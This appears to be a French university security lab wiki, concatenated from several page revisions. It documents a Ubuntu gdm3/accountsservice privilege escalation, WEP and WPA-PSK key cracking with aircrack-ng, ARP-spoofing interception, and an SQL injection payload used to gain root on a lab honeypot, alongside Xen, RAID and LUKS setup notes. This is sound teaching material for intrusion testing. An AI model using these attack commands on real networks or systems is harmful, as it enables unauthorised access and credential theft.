Maintenant, on peut supprimer le lien symbolique qui a causé le DOS pour ne pas que l'exploit se relance à chaque nouvelle session.

$ rm ~/.pam_environment

Ici on va faire crasher le accounts-daemon, mais seulement une fois que l'on s'est déconnecté, on lance donc cette tâche en arrière plan après 10 secondes.

$ nohup bash -c "sleep 10s; kill -SIGSEGV 1098; kill -SIGCONT 1098"

On se déconnecte de notre session.

Le menu "Welcome" de Ubuntu apparaît après quelques temps d'attente !! C'est le menu d'installation de Ubuntu qui est censé venir seulement la 1ere fois que l'on installe l'OS sur notre machine. On va donc être en mesure de configurer une nouvelle session qui aura les droits administrateurs sur la machine (et ce, sans supprimer les autres comtpes). Un nouvel utilisateur apparaît sur la machine !

$ whoami
pwn
$ id
uid=1002(pwn) gid=1002(pwn) groupes=1002(pwn), 27(sudo)

'''Explication : '''

En changeant la langue dans "Region and Language", le programme accountsservice daemon (accounts-daemon) va lire le fichier .pam_environment situé dans le home. Cependant nous avons fait un lien symbolique malicieux pointant sur /dev/zero. Le programme va donc tourner en boucle infini car il n'arrivera jamais à finir de lire /dev/zero.

La deuxième faille réside dans le fait que accounts-daemon abaisse ses privilèges root en privilège standard seulement quand il lit le .pam_environment. Or il est enfermé dans une boucle infini grâce à notre lien malicieux. On va donc pouvoir lui envoyer les signaux SIGSTOP, SIGSEGV, SIGCONT sans avoir de droit root. En fait à la base l'abaissement de privilège est une protection pour empêcher de lire dans /etc/shadow par exemple...

Ensuite, on se déconnecte de notre session en lançant en arrière plan le kill -SIGSEGV de accounts-daemon. Sauf que le gestionnaire de session gdm3 demande à accounts-daemon combien de session il y a afin de nous permettre de choisir laquelle on va utiliser pour se connecter. Accounts-daemon étant hors service, gdm3 va lire la valeur par défaut de priv->have_existing_user_accounts, qui est : "false". Gdm3 pense donc qu'il n'y a aucune session sur la machine et va lancer gnome-initial-setup.

'''Note 1 : ''' La faille semble avoir été rapidement patchée.

'''Note 2 : ''' Les failles exploitées lors de l'élévation de privilège :

accountsservice denial of service (GHSL-2020-187, GHSL-2020-188 / CVE-2020-16126, CVE-2020-16127)

gdm3 privilege escalation due to unresponsive accounts-daemon (GHSL-2020-202 / CVE-2020-16125)

'''Version du noyau et des parquets : '''
Ubuntu 20.04.1 LTS, kernel 5.6
gdm3, version 3.36.3-0ubuntu0.20.04.1
accountsservice, version 0.6.55-0ubuntu12~20.04.1

''' Source : '''

''How to get root on Ubuntu 20.04 by pretending nobody’s /home'', Kevin Backhouse, November 10 2020

https://securitylab.github.com/research/Ubuntu-gdm3-accountsservice-LPE

==5.2 Cassage de clef WEP d’un point d’accès WiFi==

Nous commençons tout d’abord par installer le paquet aircrack :

$ apt-get install aircrack-ng

À partir de là, nous listons la liste des interfaces wifi disponibles : (pour repérer le nom du réseau sans fil correspondant à notre binôme) :

$ airmon-ng

[[Fichier:screen1.png|600px]]

On remarque que notre carte wifi est désignée par le nom wlp1s0mon qui correspond à l’interface.

Nous passons ensuite notre interface en mode monitor, pour écouter le trafic wifi aux alentours.

$ airmon-ng start wlp1s0mon

On peux ensuite lancer le scan des réseaux wifi environnants :

$ airodump-ng --encrypt wep wlp1s0mon

[[Fichier:Screen2.png|600px]]

On repère le point d’accès qui correspond au réseau wifi qui nous intéresse ( cracotte 08). on récupère le bssid : 04:DA:D2:9C:50:57 , et le chanel : 3.

On capture ensuite les paquets émis par le point d’accès cible :

$ airodump-ng --write mon_fichier --channel 3 --bssid 04:DA:D2:9C:50:57 wlp1s0mon

[[Fichier:Screen3.png|600px]]

On se concentre sur l’indicateur #Data qui permet de savoir le nombre de paquets data collecté. Une fois que ce nombre atteint 30000, on lance dans un autre terminal le crack de la clé :

$ aircrack-ng -z mon_fichier-01.cap

[[Fichier:Screen4.png|600px]]

On voit que le programme a réussi à trouver la clé ( message « Key Found »).

==5.3 Cassage de mot de passe WPA-PSK par force brute==

Nous allons dans cette partie continuer à utiliser aircrack. Les premières étapes sont similaires à celles pour le cassage d'une clé WEP. Nous commençons par lister les interfaces wifi disponibles (airmon-ng), puis on passe l'interface en mode monitor (airmon-ng start wlp1s0mon).

On lance ensuite le scan des réseaux wifi WPA PSK environnants :

$ airodump-ng --encrypt wpa-psk wlp1s0mon

[[Fichier:scankracotte.png || 600px]]

Cette commande nous permet d'obtenir des informations supplémentaires sur les réseaux wifi, comme le BSSID, le Channel, l'AUTH ( le mode d'authentification), ainsi que l'ESSID ( le nom du routeur ).

Nous utilisons alors le BSSID ainsi que le Channel du réseau wifi kracotte03 dans la commande suivante:

$ airodump-ng wlp1s0mon --bssid 00:14:1B:60:8C:22 --ch 3 -w capture

Cette commande nous permet d'obtenir un handshake. Nous la laissons tourner en boucle jusqu'à ce que nous obtenions ce fameux handshake.

[[Fichier:Handshake1.png | 600px]]

Maintenant que nous avons obtenu le handshake, nous allons faire une attaque par bruteforce. Pour cela, nous générerons tout d'abord toutes les combinaisons possibles de mots de passe de taille 8, composés uniquement de chiffre.

Pour construire ce dictionnaire, nous utilisons la commande crunch (que nous avons au préalable installée):

$ crunch 8 8 -o 12345678 > motdepasse.txt

Nous spécifions ici la longueur minimum et maximum du mot de passe (8), les caractères à utiliser (012345678), puis nous effectuons une redirection vers motdepasse.txt.

Ensuite, nous effectuons l'attaque par bruteforce avec la commande suivante :

$ aircrak-ng -a2 -b 00:14:1B:60:8C:27 -w motdepasse.txt *.cap

Comme la méthode bruteforce prend du temps, nous lançons l'attaque la nuit, en ssh sur notre zabeth. 4h plus tard, nous obtenons le mot de passe de la kracotte :

[[Fichier:WPA-5.png|600px]]

==5.4 Attaque de type "homme au milieu" par usurpation ARP==

Tout d'abord, on install dsniff sur l'eepc. Ensuite on le transforme en routeur :

apt install dsniff
export PATH=/sbin:/usr/sbin:$PATH
echo 1 > /proc/sys/net/ipv4/ip_forward

Ensuite on lance arpspoof pour placer l'eepc entre la zabeth et le routeur :

arpspoof -i enp4s0 -t 172.26.145.60 172.26.145.254

Ensuite, on trouve une page HTTP avec un petit formulaire POST. La page n'étant pas sécurisé par TLS ou SSL, les données seront échangées en clair. On ouvre Wireshark dans l'eepc et dans la zabeth on se rend sur un site vulnérable (par exemple : http://fabricarium-old.polytech-lille.fr).

En tentant de se connecter, on se rend compte que la requête POST a bien été transmise à l'eepc qui l'a redirigé vers le routeur :

[[Fichier:Mitm-pra.png|600px]]

==5.5 Intrusion sur un serveur d’application Web==

Tout d'abord, nous nous rendons sur honey.plil.info. Nous apercevons un formulaire, que l'on exploite par injection SQL :

' OR 1 = 1 --

D'un autre côté nous effectuons un nmap sur le serveur afin d'avoir une idée des services que l'on pourra exploiter (ou juste utiliser...).

nmap -T4 -A honey.plil.info

On obtient :

[[Fichier:Nmap-g8-2021 1.2.png|600px]]

Nous essayons de faire un ssh avec les id trouvés par injections SQL... sans succès.

De retour sur le site honey.plil.info, nous remarquons la présence d'une seconde page avec formulaire : honey.plil.info/phpmyadmin. Mais nous n'avons pas le mot de passe. L'injection SQL ne semble pas fonctionner.

De retour sur la 1ere page, on se connecte sur honey.plil.info avec les ids récupérés par injection SQL. En exploitant bien comme il faut les fonctionnalités du site, on arrive à récupérer le mot de passe de notre seconde page.

On se connecte donc sur cette seconde page, et après quelques recherches dans la base de données, on retrouve un identifiant et un mot de passe.

On utilise cette découverte pour se connecter sur le serveur en SSH.

Cependant, cet utilisateur n'est pas root. Il peut néanmoins lire le fichier des mots de passe. On récupère ainsi le mot de passe haché de l'administrateur root.

Pour avoir son mot de passe, on réalise une attaque par brute force avec dictionnaire.

Nous construisons ce dictionnaire avec crunch en reprenant un indice donné dans l'énoncé.

Quelques temps plus tard... John nous donne le mot de passe root !

Nous nous connectons sur le serveur en tant que root et nous y laissons la trace de notre passe "I was here" :

[[Fichier:Hack-honey.png|600px]]

=6. Réalisations=

== 6.1 Sécurisation de données : RAID 5 logiciel==

Tout d'abord, on crée 3 partitions vituelles :

lvcreate -L1G -n piedbleu-raid1 storage

Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg, puis on redémarre la VM.

Dans notre VM, on lance les commandes :

apt instal mdadm
mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7
mdadm --monitor --daemonise /dev/md0
mkfs.ext4 /dev/md0
mkdir /raid5
nano /etc/fstab
/dev/md0 /raid5 ext4 defaults 0 2

RAID 5 : on doit avoir minimum 3 disques, mais on peut survivre seulement à la perte d'un seul disque.

==6.2 Chiffrement de données==

Pour chiffrer la partition de notre clé USB et pouvoir y écrire des fichiers, on exécute les commandes suivantes :

$ fdisk -l # on répère la clé USB
$ fdisk /dev/sdb # on formate la clé en une seule partition
$ cryptsetup luksFormat /dev/sdb1 # on chiffre l'unique partition de la clé USB
$ cryptsetup luksOpen /dev/sdb1 myusbkey # on déchiffre la partition
$ mkfs.ext4 /dev/mapper/myusbkey # on formatte la partition en EXT4

Ensuite, on monte la clé USB, et on la peuple :

$ mkdir /mnt/USB
$ mount -t ext4 /dev/mapper/myusbkey /mnt/USB
$ touch /mnt/USB/mytestfile.txt

Une fois que l'on a fini, on démonte le système de fichier proprement :

$ umount /mnt/USB
$ cryptsetup luksClose myusbkey

== 6.4 Sécurisation WiFi par WPA2-EAP ==

TP sysres IMA5sc 2020/2021 G8

2020-11-17T22:55:16Z

Jsoulaim : /* 5.3 Cassage de mot de passe WPA-PSK par force brute */

Fichier:Scankracotte.png

2020-11-17T22:51:07Z

Jsoulaim :

TP sysres IMA5sc 2020/2021 G8

2020-11-16T16:33:09Z

Jsoulaim : /* 4.2 Serveur DNS */

Fichier:Reponse.png

2020-11-16T16:32:23Z

Jsoulaim :

TP sysres IMA5sc 2020/2021 G8

2020-11-16T16:31:38Z

Jsoulaim : /* 4.2 Serveur DNS */

TP sysres IMA5sc 2020/2021 G8

2020-11-16T16:25:27Z

Jsoulaim : p

TP sysres IMA5sc 2020/2021 G8

2020-11-05T14:06:18Z

Jsoulaim :

=2. Installation des systèmes d’exploitation=
==2.1 Installation dans la machine virtuelle Xen==

SSH sur capbreton

Puis création de la machine virtuelle :
xen-create-image --hostname=piedbleu --ip=100.64.0.22 --netmask=255.255.255.0 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5 --force

On renomme les LVM avec lv rename :

lvrename /dev/storage/piedbleu1 /dev/storage/piedbleu-home
lvrename /dev/storage/piedbleu2 /dev/storage/piedbleu-var

On obtient (lvdispaly) :

--- Logical volume ---
LV Path /dev/storage/piedbleu-home
LV Name piedbleu-home
VG Name storage
LV UUID UIBfvf-NW8A-iag9-WwcT-HiZu-53UW-u4DRMA
LV Write Access read/write
LV Creation host, time capbreton, 2020-10-12 16:38:58 +0100
LV Status available
# open 1
LV Size 10.00 GiB
Current LE 2560
Segments 1
Allocation inherit
Read ahead sectors auto
- currently set to 256
Block device 254:12

--- Logical volume ---
LV Path /dev/storage/piedbleu-var
LV Name piedbleu-var
VG Name storage
LV UUID yZPi6c-xffl-2PgT-YuXk-DYma-X15f-Uci6C1
LV Write Access read/write
LV Creation host, time capbreton, 2020-10-12 16:39:03 +0100
LV Status available
# open 1
LV Size 10.00 GiB
Current LE 2560
Segments 1
Allocation inherit
Read ahead sectors auto
- currently set to 256
Block device 254:13

Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg

Dans la catégorie "Disk device(s)", partie "disk", on ajoute les lignes suivantes :
phy:/dev/storage/piedbleu-home,xvda3,w',
phy:/dev/storage/piedbleu-var,xvda4,w',

Dans la catégorie "Networking", on ajoute :
bridge=IMA5sc

Ensuite, on lance la VM :
xl create -c /etc/xen/piedbleu.cfg
Par la suite, pour accéder à la VM, on fera :
xl console piedbleu

Dans la VM, on formate xvda3, xvda4 en ext 4 :
mkfs.ext4 /dev/xvda3
mkfs.ext4 /dev/xvda4

On modifie le fstab en ajoutant :

/dev/xvda3 /home defaults 0 2
/dev/xvda4 /var defaults 0 2

Et après on les monte :
mount -a
puis on fait un lsblk pour vérifier.

On obtient :

[[Fichier:Lsblk-g8-2021.png|480px]]

=5. Tests d’intrusion=
==5.2 Cassage de clef WEP d’un point d’accès WiFi==

Nous commençons tout d’abord par installer le paquet aircrack :

$ apt-get install aircrack-ng

À partir de là, nous listons la liste des interfaces wifi disponibles : (pour repérer le nom du réseau sans fil correspondant à notre binôme) :

$ airmon-ng

[[Fichier:screen1.png|600px]]

On remarque que notre carte wifi est désignée par le nom wlp1s0mon qui correspond à l’interface.

Nous passons ensuite notre interface en mode monitor, pour écouter le trafic wifi aux alentours.

$ airmon-ng start wlp1s0mon

On peux ensuite lancer le scan des réseaux wifi environnants :

$ airodump-ng --encrypt wep wlp1s0mon

[[Fichier:Screen2.png|600px]]

On repère le point d’accès qui correspond au réseau wifi qui nous intéresse ( cracotte 08). on récupère le bssid : 04:DA:D2:9C:50:57 , et le chanel : 3.

On capture ensuite les paquets émis par le point d’accès cible :

$ airodump-ng --write mon_fichier --channel 3 --bssid 04:DA:D2:9C:50:57 wlp1s0mon

[[Fichier:Screen3.png|600px]]

On se concentre sur l’indicateur #Data qui permet de savoir le nombre de paquets data collecté. Une fois que ce nombre atteint 30000, on lance dans un autre terminal le crack de la clé :

$ aircrack-ng -z mon_fichier-01.cap

[[Fichier:Screen4.png|600px]]

On voit que le programme a réussi à trouver la clé ( message « Key Found »).

==5.3 Cassage de mot de passe WPA-PSK par force brute==

Nous allons dans cette partie continuer à utiliser aircrack. Les premières étapes sont similaires à celles pour le cassage d'une clé WEP. Nous commençons par lister les interfaces wifi disponibles (airmon-ng), puis on passe l'interface en mode monitor (airmon-ng start wlp1s0mon).

On lance ensuite le scan des réseaux wifi environnants :

$ airodump-ng --encrypt wpa-psk wlp1s0mon

[[Fichier:Screen6.png|600px]]

Cette commande nous permet d'obtenir des informations supplémentaires sur les réseaux wifi, comme le BSSID, le Channel, l'AUTH ( le mode d'authentification), ainsi que l'ESSID ( le nom du routeur ).

Nous utilisons alors le BSSID ainsi que le Channel du réseau wifi kracotte03 dans la commande suivante:

$ airodump-ng wlp1s0mon --bssid 00:14:1B:60:8C:27 --ch 9 -w capture

Cette commande nous permet de scanner le réseau, et donc d'obtenir un handshake. Nous laissons tourner cette commande en boucle jusqu'a temps d'obtenir le handshake en question.

[[Fichier:Handshake1.png | 600px]]

Maintenant que nous avons obtenu le handshake, nous allons faire le bruteforce. Pour cela, nous allons générer toutes les combinaisons de mots de passes possibles dans un dictionnaire.

Pour générer ce dictionnaire, nous allons utiliser la commande crunch (que nous avons au préalable installé):

$ crunch 8 8 -o 12345678 > motdepasse.txt

Nous spécifions ici la longueur minimum et maximum du mot de passe (8), les caractères à utiliser (0123456789) ainsi que le fichier où tout cela sera stocké (motdepasse.txt).

Comme la méthode bruteforce prend du temps, nous lançons l'attaque la nuit, en ssh sur notre zabeth. 4h plus tard, nous obtenons le mot de passe de la kracotte :

[[Fichier:WPA-5.png|600px]]

==5.4 Attaque de type "homme au milieu" par usurpation ARP==
'' Installez le paquetage dsniff sur votre eeePC. Transformez votre eeePC en routeur en mettant la variable noyau /proc/sys/net/ipv4/ip_forward à 1. Insérez votre eeePC entre la machine fixe d’un autre binome et le routeur utilisé par cette machine fixe en utilisant la commande arpspoof. Lancez le sniffeur réseau wireshark sur l’eeePC pendant que l’autre binôme se connecte sur un site web HTTP avec des formulaires HTML. Que constatez-vous ? Essayez aussi de relever les paquets réseau pendant que l’autre binôme utilise un logiciel de conversation instantanée. ''

==5.5 Intrusion sur un serveur d’application Web==

Injection SQL sur honey.plil.info, dans le '''login et le password''', on écrit :
' OR 1 = 1 --

Ensuite, on fait un nmap :
nmap -T4 -A honey.plil.info

On obtient :

[[Fichier:Nmap-g8-2021 1.2.png|600px]]

A partir de ces informations, on réalise plusieurs attaques et exploitations de failles, mauvaise configuration, mot de passe faible, etc.
Au final, nous avons réussi à trouver le mot de passe root du serveur. Nous y laissons la trace de notre passage "I was here IMA5 G8" :

[[Fichier:Hack-honey.png|600px]]

=6. Réalisations=
==6.2 Chiffrement de données==

Pour chiffrer la partition de notre clé USB et pouvoir y écrire des fichiers, on exécute les commandes suivantes :

$ fdisk -l # on répère la clé USB
$ fdisk /dev/sdb # on formate la clé en une seule partition
$ cryptsetup luksFormat /dev/sdb1 # on chiffre l'unique partition de la clé USB
$ cryptsetup luksOpen /dev/sdb1 myusbkey # on déchiffre la partition
$ mkfs.ext4 /dev/mapper/myusbkey # on formatte la partition en EXT4

Ensuite, on monte la clé USB, et on la peuple :

$ mkdir /mnt/USB
$ mount -t ext4 /dev/mapper/myusbkey /mnt/USB
$ touch /mnt/USB/mytestfile.txt

Une fois que l'on a fini, on démonte le système de fichier proprement :

$ umount /mnt/USB
$ cryptsetup luksClose myusbkey

TP sysres IMA5sc 2020/2021 G8

2020-11-05T13:50:26Z

Jsoulaim : /* 5.3 Cassage de mot de passe WPA-PSK par force brute */

=2. Installation des systèmes d’exploitation=
==2.1 Installation dans la machine virtuelle Xen==

SSH sur capbreton

Puis création de la machine virtuelle :
xen-create-image --hostname=piedbleu --ip=100.64.0.22 --netmask=255.255.255.0 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5 --force

On renomme les LVM avec lv rename :

lvrename /dev/storage/piedbleu1 /dev/storage/piedbleu-home
lvrename /dev/storage/piedbleu2 /dev/storage/piedbleu-var

On obtient (lvdispaly) :

--- Logical volume ---
LV Path /dev/storage/piedbleu-home
LV Name piedbleu-home
VG Name storage
LV UUID UIBfvf-NW8A-iag9-WwcT-HiZu-53UW-u4DRMA
LV Write Access read/write
LV Creation host, time capbreton, 2020-10-12 16:38:58 +0100
LV Status available
# open 1
LV Size 10.00 GiB
Current LE 2560
Segments 1
Allocation inherit
Read ahead sectors auto
- currently set to 256
Block device 254:12

--- Logical volume ---
LV Path /dev/storage/piedbleu-var
LV Name piedbleu-var
VG Name storage
LV UUID yZPi6c-xffl-2PgT-YuXk-DYma-X15f-Uci6C1
LV Write Access read/write
LV Creation host, time capbreton, 2020-10-12 16:39:03 +0100
LV Status available
# open 1
LV Size 10.00 GiB
Current LE 2560
Segments 1
Allocation inherit
Read ahead sectors auto
- currently set to 256
Block device 254:13

Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg

Dans la catégorie "Disk device(s)", partie "disk", on ajoute les lignes suivantes :
phy:/dev/storage/piedbleu-home,xvda3,w',
phy:/dev/storage/piedbleu-var,xvda4,w',

Dans la catégorie "Networking", on ajoute :
bridge=IMA5sc

Ensuite, on lance la VM :
xl create -c /etc/xen/piedbleu.cfg
Par la suite, pour accéder à la VM, on fera :
xl console piedbleu

Dans la VM, on formate xvda3, xvda4 en ext 4 :
mkfs.ext4 /dev/xvda3
mkfs.ext4 /dev/xvda4

On modifie le fstab en ajoutant :

/dev/xvda3 /home defaults 0 2
/dev/xvda4 /var defaults 0 2

Et après on les monte :
mount -a
puis on fait un lsblk pour vérifier.

On obtient :

[[Fichier:Lsblk-g8-2021.png|480px]]

=5. Tests d’intrusion=
==5.2 Cassage de clef WEP d’un point d’accès WiFi==

Nous commençons tout d’abord par installer le paquet aircrack :

$ apt-get install aircrack-ng

À partir de là, nous listons la liste des interfaces wifi disponibles : (pour repérer le nom du réseau sans fil correspondant à notre binôme) :

$ airmon-ng

[[Fichier:screen1.png|600px]]

On remarque que notre carte wifi est désignée par le nom wlp1s0mon qui correspond à l’interface.

Nous passons ensuite notre interface en mode monitor, pour écouter le trafic wifi aux alentours.

$ airmon-ng start wlp1s0mon

On peux ensuite lancer le scan des réseaux wifi environnants :

$ airodump-ng --encrypt wep wlp1s0mon

[[Fichier:Screen2.png|600px]]

On repère le point d’accès qui correspond au réseau wifi qui nous intéresse ( cracotte 08). on récupère le bssid : 04:DA:D2:9C:50:57 , et le chanel : 3.

On capture ensuite les paquets émis par le point d’accès cible :

$ airodump-ng --write mon_fichier --channel 3 --bssid 04:DA:D2:9C:50:57 wlp1s0mon

[[Fichier:Screen3.png|600px]]

On se concentre sur l’indicateur #Data qui permet de savoir le nombre de paquets data collecté. Une fois que ce nombre atteint 30000, on lance dans un autre terminal le crack de la clé :

$ aircrack-ng -z mon_fichier-01.cap

[[Fichier:Screen4.png|600px]]

On voit que le programme a réussi à trouver la clé ( message « Key Found »).

==5.3 Cassage de mot de passe WPA-PSK par force brute==

Nous allons dans cette partie continuer à utiliser aircrack. Les premières étapes sont similaires à celles pour le cassage d'une clé WEP. Nous commençons par lister les interfaces wifi disponibles (airmon-ng), puis on passe l'interface en mode monitor (airmon-ng start wlp1s0mon).

On lance ensuite le scan des réseaux wifi environnants :

$ airodump-ng --encrypt wpa-psk wlp1s0mon

[[Fichier:Screen6.png|600px]]

Cette commande nous permet d'obtenir des informations supplémentaires sur les réseaux wifi, comme le BSSID, le Channel, l'AUTH ( le mode d'authentification), ainsi que l'ESSID ( le nom du routeur ).

Nous utilisons alors le BSSID ainsi que le Channel du réseau wifi kracotte03 dans la commande suivante:

$ airodump-ng wlp1s0mon --bssid 00:14:1B:60:8C:27 --ch 9 -w capture

Cette commande nous permet de scanner le réseau, et donc d'obtenir un handshake.

[[Fichier:Handshake1.png | 600px]]

Comme la méthode bruteforce prend du temps, nous lançons l'attaque la nuit, en ssh sur notre zabeth. 4h plus tard, nous obtenons le mot de passe de la kracotte :

[[Fichier:WPA-5.png|600px]]

==5.4 Attaque de type "homme au milieu" par usurpation ARP==
'' Installez le paquetage dsniff sur votre eeePC. Transformez votre eeePC en routeur en mettant la variable noyau /proc/sys/net/ipv4/ip_forward à 1. Insérez votre eeePC entre la machine fixe d’un autre binome et le routeur utilisé par cette machine fixe en utilisant la commande arpspoof. Lancez le sniffeur réseau wireshark sur l’eeePC pendant que l’autre binôme se connecte sur un site web HTTP avec des formulaires HTML. Que constatez-vous ? Essayez aussi de relever les paquets réseau pendant que l’autre binôme utilise un logiciel de conversation instantanée. ''

==5.5 Intrusion sur un serveur d’application Web==

Injection SQL sur honey.plil.info, dans le '''login et le password''', on écrit :
' OR 1 = 1 --

Ensuite, on fait un nmap :
nmap -T4 -A honey.plil.info

On obtient :

[[Fichier:Nmap-g8-2021 1.2.png|600px]]

A partir de ces informations, on réalise plusieurs attaques et exploitations de failles, mauvaise configuration, mot de passe faible, etc.
Au final, nous avons réussi à trouver le mot de passe root du serveur. Nous y laissons la trace de notre passage "I was here IMA5 G8" :

[[Fichier:Hack-honey.png|600px]]

=6. Réalisations=
==6.2 Chiffrement de données==

Pour chiffrer la partition de notre clé USB et pouvoir y écrire des fichiers, on exécute les commandes suivantes :

$ fdisk -l # on répère la clé USB
$ fdisk /dev/sdb # on formate la clé en une seule partition
$ cryptsetup luksFormat /dev/sdb1 # on chiffre l'unique partition de la clé USB
$ cryptsetup luksOpen /dev/sdb1 myusbkey # on déchiffre la partition
$ mkfs.ext4 /dev/mapper/myusbkey # on formatte la partition en EXT4

Ensuite, on monte la clé USB, et on la peuple :

$ mkdir /mnt/USB
$ mount -t ext4 /dev/mapper/myusbkey /mnt/USB
$ touch /mnt/USB/mytestfile.txt

Une fois que l'on a fini, on démonte le système de fichier proprement :

$ umount /mnt/USB
$ cryptsetup luksClose myusbkey

Fichier:Handshake1.png

2020-11-05T13:49:28Z

Jsoulaim :

TP sysres IMA5sc 2020/2021 G8

2020-11-05T13:48:04Z

Jsoulaim : /* 5.3 Cassage de mot de passe WPA-PSK par force brute */

=2. Installation des systèmes d’exploitation=
==2.1 Installation dans la machine virtuelle Xen==

SSH sur capbreton

Puis création de la machine virtuelle :
xen-create-image --hostname=piedbleu --ip=100.64.0.22 --netmask=255.255.255.0 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5 --force

On renomme les LVM avec lv rename :

lvrename /dev/storage/piedbleu1 /dev/storage/piedbleu-home
lvrename /dev/storage/piedbleu2 /dev/storage/piedbleu-var

On obtient (lvdispaly) :

--- Logical volume ---
LV Path /dev/storage/piedbleu-home
LV Name piedbleu-home
VG Name storage
LV UUID UIBfvf-NW8A-iag9-WwcT-HiZu-53UW-u4DRMA
LV Write Access read/write
LV Creation host, time capbreton, 2020-10-12 16:38:58 +0100
LV Status available
# open 1
LV Size 10.00 GiB
Current LE 2560
Segments 1
Allocation inherit
Read ahead sectors auto
- currently set to 256
Block device 254:12

--- Logical volume ---
LV Path /dev/storage/piedbleu-var
LV Name piedbleu-var
VG Name storage
LV UUID yZPi6c-xffl-2PgT-YuXk-DYma-X15f-Uci6C1
LV Write Access read/write
LV Creation host, time capbreton, 2020-10-12 16:39:03 +0100
LV Status available
# open 1
LV Size 10.00 GiB
Current LE 2560
Segments 1
Allocation inherit
Read ahead sectors auto
- currently set to 256
Block device 254:13

Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg

Dans la catégorie "Disk device(s)", partie "disk", on ajoute les lignes suivantes :
phy:/dev/storage/piedbleu-home,xvda3,w',
phy:/dev/storage/piedbleu-var,xvda4,w',

Dans la catégorie "Networking", on ajoute :
bridge=IMA5sc

Ensuite, on lance la VM :
xl create -c /etc/xen/piedbleu.cfg
Par la suite, pour accéder à la VM, on fera :
xl console piedbleu

Dans la VM, on formate xvda3, xvda4 en ext 4 :
mkfs.ext4 /dev/xvda3
mkfs.ext4 /dev/xvda4

On modifie le fstab en ajoutant :

/dev/xvda3 /home defaults 0 2
/dev/xvda4 /var defaults 0 2

Et après on les monte :
mount -a
puis on fait un lsblk pour vérifier.

On obtient :

[[Fichier:Lsblk-g8-2021.png|480px]]

=5. Tests d’intrusion=
==5.2 Cassage de clef WEP d’un point d’accès WiFi==

Nous commençons tout d’abord par installer le paquet aircrack :

$ apt-get install aircrack-ng

À partir de là, nous listons la liste des interfaces wifi disponibles : (pour repérer le nom du réseau sans fil correspondant à notre binôme) :

$ airmon-ng

[[Fichier:screen1.png|600px]]

On remarque que notre carte wifi est désignée par le nom wlp1s0mon qui correspond à l’interface.

Nous passons ensuite notre interface en mode monitor, pour écouter le trafic wifi aux alentours.

$ airmon-ng start wlp1s0mon

On peux ensuite lancer le scan des réseaux wifi environnants :

$ airodump-ng --encrypt wep wlp1s0mon

[[Fichier:Screen2.png|600px]]

On repère le point d’accès qui correspond au réseau wifi qui nous intéresse ( cracotte 08). on récupère le bssid : 04:DA:D2:9C:50:57 , et le chanel : 3.

On capture ensuite les paquets émis par le point d’accès cible :

$ airodump-ng --write mon_fichier --channel 3 --bssid 04:DA:D2:9C:50:57 wlp1s0mon

[[Fichier:Screen3.png|600px]]

On se concentre sur l’indicateur #Data qui permet de savoir le nombre de paquets data collecté. Une fois que ce nombre atteint 30000, on lance dans un autre terminal le crack de la clé :

$ aircrack-ng -z mon_fichier-01.cap

[[Fichier:Screen4.png|600px]]

On voit que le programme a réussi à trouver la clé ( message « Key Found »).

==5.3 Cassage de mot de passe WPA-PSK par force brute==

Nous allons dans cette partie continuer à utiliser aircrack. Les premières étapes sont similaires à celles pour le cassage d'une clé WEP. Nous commençons par lister les interfaces wifi disponibles (airmon-ng), puis on passe l'interface en mode monitor (airmon-ng start wlp1s0mon).

On lance ensuite le scan des réseaux wifi environnants :

$ airodump-ng --encrypt wpa-psk wlp1s0mon

[[Fichier:Screen6.png|600px]]

Cette commande nous permet d'obtenir des informations supplémentaires sur les réseaux wifi, comme le BSSID, le Channel, l'AUTH ( le mode d'authentification), ainsi que l'ESSID ( le nom du routeur ).

Nous utilisons alors le BSSID ainsi que le Channel du réseau wifi kracotte03 dans la commande suivante:

$ airodump-ng wlp1s0mon --bssid 00:14:1B:60:8C:27 --ch 9 -w capture

Cette commande nous permet de scanner le réseau, et donc d'obtenir un handshake.

Comme la méthode bruteforce prend du temps, nous lançons l'attaque la nuit, en ssh sur notre zabeth. 4h plus tard, nous obtenons le mot de passe de la kracotte :

[[Fichier:WPA-5.png|600px]]

==5.4 Attaque de type "homme au milieu" par usurpation ARP==
'' Installez le paquetage dsniff sur votre eeePC. Transformez votre eeePC en routeur en mettant la variable noyau /proc/sys/net/ipv4/ip_forward à 1. Insérez votre eeePC entre la machine fixe d’un autre binome et le routeur utilisé par cette machine fixe en utilisant la commande arpspoof. Lancez le sniffeur réseau wireshark sur l’eeePC pendant que l’autre binôme se connecte sur un site web HTTP avec des formulaires HTML. Que constatez-vous ? Essayez aussi de relever les paquets réseau pendant que l’autre binôme utilise un logiciel de conversation instantanée. ''

==5.5 Intrusion sur un serveur d’application Web==

Injection SQL sur honey.plil.info, dans le '''login et le password''', on écrit :
' OR 1 = 1 --

Ensuite, on fait un nmap :
nmap -T4 -A honey.plil.info

On obtient :

[[Fichier:Nmap-g8-2021 1.2.png|600px]]

A partir de ces informations, on réalise plusieurs attaques et exploitations de failles, mauvaise configuration, mot de passe faible, etc.
Au final, nous avons réussi à trouver le mot de passe root du serveur. Nous y laissons la trace de notre passage "I was here IMA5 G8" :

[[Fichier:Hack-honey.png|600px]]

=6. Réalisations=
==6.2 Chiffrement de données==

Pour chiffrer la partition de notre clé USB et pouvoir y écrire des fichiers, on exécute les commandes suivantes :

$ fdisk -l # on répère la clé USB
$ fdisk /dev/sdb # on formate la clé en une seule partition
$ cryptsetup luksFormat /dev/sdb1 # on chiffre l'unique partition de la clé USB
$ cryptsetup luksOpen /dev/sdb1 myusbkey # on déchiffre la partition
$ mkfs.ext4 /dev/mapper/myusbkey # on formatte la partition en EXT4

Ensuite, on monte la clé USB, et on la peuple :

$ mkdir /mnt/USB
$ mount -t ext4 /dev/mapper/myusbkey /mnt/USB
$ touch /mnt/USB/mytestfile.txt

Une fois que l'on a fini, on démonte le système de fichier proprement :

$ umount /mnt/USB
$ cryptsetup luksClose myusbkey

TP sysres IMA5sc 2020/2021 G8

2020-10-17T10:03:32Z

Jsoulaim : /* 5.3 Cassage de mot de passe WPA-PSK par force brute */

TP sysres IMA5sc 2020/2021 G8

2020-10-17T10:01:40Z

